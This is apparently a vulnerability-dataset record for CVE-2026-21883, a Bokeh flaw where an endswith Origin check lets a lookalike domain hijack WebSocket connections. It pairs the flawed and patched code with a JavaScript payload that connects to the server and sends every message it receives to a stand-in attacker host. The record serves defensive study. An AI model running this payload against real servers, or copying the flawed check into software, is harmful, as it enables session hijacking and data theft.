{"id":1553,"cve":"CVE-2026-21883","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-21883\/","cwe":"CWE-1385","cwe_number":1385,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/1385","cvss_score":4.5,"published":"2026-01-08","owasp":"A01 Broken Access Control","odc":"Checking","cdc":"Incorrect Check","category":"Authentication, Authorization, and Session Management","subcategory":"Cross-Site Request Forgery (CSRF)","scope":"Remote","impact":"Unauthorized Access","summary":"Bokeh's flawed Origin allowlist validation allows WebSocket hijacking.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-21883\/","description":"Bokeh is an interactive visualization library written in Python. In versions 3.8.1 and below, if a server is configured with an allowlist (e.g., dashboard.corp), an attacker can register a domain like dashboard.corp.attacker.com (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., http:\/\/dashboard.corp.attacker.com\/) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. This issue is fixed in version 3.8.2.","solution":"Upgrade Bokeh to version 3.8.2 or later.","affected_component":"Bokeh","fixed_by_upgrading":true,"vulnerable_code":"# This code represents the flawed origin validation logic present in\n# Bokeh versions 3.8.1 and below, which led to CVE-2026-21883.\n# NOTE: This is a simplified, self-contained representation for demonstration.\n# The actual implementation was part of Bokeh's server connection handling.\n\nfrom urllib.parse import urlparse\n\ndef _check_websocket_origin_vulnerable(origin, allowlist):\n    \"\"\"\n    Simulates the vulnerable origin check from Bokeh <= 3.8.1.\n\n    The vulnerability lies in using a simple `endswith` check on the hostname.\n    An attacker-controlled domain like 'dashboard.corp.attacker.com'\n    will incorrectly pass the check for an allowlist entry of 'dashboard.corp',\n    because the string 'dashboard.corp.attacker.com' ends with 'dashboard.corp'.\n\n    The correct, non-vulnerable check would ensure that the match occurs at a\n    domain boundary (e.g., the character before the match is a '.' or the\n    hostname is an exact match).\n\n    Args:\n        origin (str): The value of the 'Origin' header from a WebSocket request.\n        allowlist (list[str]): A list of allowed hostnames.\n\n    Returns:\n        bool: True if the origin is deemed acceptable by the flawed logic, False otherwise.\n    \"\"\"\n    try:\n        # Parse the full origin URL (e.g., \"http:\/\/host:port\") to get the hostname.\n        parsed_origin = urlparse(origin)\n        origin_host = parsed_origin.hostname\n        if origin_host is None:\n            return False\n    except (ValueError, TypeError):\n        return False\n\n    # The core of the vulnerability.\n    # It checks if the requesting origin's hostname *ends with* an entry\n    # in the allowlist, without validating domain boundaries.\n    for host in allowlist:\n        if origin_host.endswith(host):\n            # This check is flawed.\n            # For `host` = \"dashboard.corp\":\n            #\n            # \"dashboard.corp\" -> True (correct)\n            # \"sub.dashboard.corp\" -> True (correct, if subdomains are desired)\n            # \"dashboard.corp.attacker.com\" -> True (INCORRECT - THE VULNERABILITY)\n            #\n            # The connection is accepted because the attacker's hostname string\n            # ends with a string from the allowlist.\n            return True\n\n    return False\n\n# --- Demonstration of the Flaw ---\n\n# A server is configured with an allowlist. It intends to only allow connections\n# from 'dashboard.corp' and its legitimate subdomains.\nVULNERABLE_ALLOWLIST = [\"dashboard.corp\"]\n\n# Test Case 1: A legitimate request from the exact allowed domain.\nlegitimate_origin = \"http:\/\/dashboard.corp:80\"\nis_allowed_1 = _check_websocket_origin_vulnerable(legitimate_origin, VULNERABLE_ALLOWLIST)\n# Result for legitimate_origin: True (Correctly allowed)\n\n# Test Case 2: An unrelated, non-malicious request from a different domain.\nunrelated_origin = \"http:\/\/some-other-site.com\"\nis_allowed_2 = _check_websocket_origin_vulnerable(unrelated_origin, VULNERABLE_ALLOWLIST)\n# Result for unrelated_origin: False (Correctly blocked)\n\n# Test Case 3: The exploit. A request from an attacker-controlled domain that\n# is crafted to pass the flawed `endswith` check.\nmalicious_crafted_origin = \"http:\/\/dashboard.corp.attacker.com\"\nis_allowed_3 = _check_websocket_origin_vulnerable(malicious_crafted_origin, VULNERABLE_ALLOWLIST)\n# Result for malicious_crafted_origin: True (INCORRECTLY ALLOWED - THIS IS THE VULNERABILITY)","patched_code":"import re\nfrom urllib.parse import urlparse\n\ndef check_origin_fixed(origin_url: str, allowlist: list[str]) -> bool:\n    \"\"\"\n    Checks if the origin URL is in the allowlist, using a corrected logic\n    that prevents subdomain-like attacks.\n    \"\"\"\n    if \"*\" in allowlist:\n        return True\n\n    try:\n        parsed_origin = urlparse(origin_url)\n        origin_host = parsed_origin.hostname\n        if origin_host is None:\n            return False\n    except ValueError:\n        return False\n\n    # Bokeh allows specifying ports in the allowlist, e.g., \"localhost:8080\"\n    # We strip the port from the origin for a primary hostname check.\n    origin_host_without_port = origin_host.split(\":\")[0]\n\n    for host_pattern in allowlist:\n        # Check for an exact match (including port, if specified)\n        if origin_host == host_pattern:\n            return True\n\n        # If the allowlist entry contains a port, only do exact matches\n        if \":\" in host_pattern:\n            continue\n        \n        # Check for a hostname match or a valid subdomain match.\n        # A valid subdomain `sub.domain.com` for `domain.com` must end with\n        # `.domain.com`. This prevents `baddomain.com` from matching.\n        # It also prevents `fakedomain.com` from matching `akedoamin.com`.\n        if (origin_host_without_port == host_pattern or\n                origin_host_without_port.endswith(f\".{host_pattern}\")):\n            return True\n\n    return False","payload_needed":true,"payload":"```javascript\nconst targetWsUrl = \"wss:\/\/vulnerable-bokeh-server.com\/app-path\/ws\";\nconst attackerLogUrl = \"https:\/\/attacker-server.com\/log-data\";\n\nconst socket = new WebSocket(targetWsUrl);\n\nsocket.onopen = function(event) {\n    const patchMsg = {\n        \"msgtype\": \"patch-doc\",\n        \"msgid\": \"exploit-1\",\n        \"doc\": {}\n    };\n    socket.send(JSON.stringify(patchMsg));\n};\n\nsocket.onmessage = function(event) {\n    navigator.sendBeacon(attackerLogUrl, event.data);\n};\n\nsocket.onerror = function(error) {\n    console.error(\"WebSocket Error:\", error);\n};\n```","payload_status":"available","published_fix":[{"repository":"bokeh\/bokeh","commit_url":"https:\/\/github.com\/bokeh\/bokeh\/commit\/cedd113b0e271b439dce768671685cf5f861812e","commit_subject":"handle wildcard host with port correctly","units":[{"file":"src\/bokeh\/server\/util.py","function":"match_host"}]}],"references":null}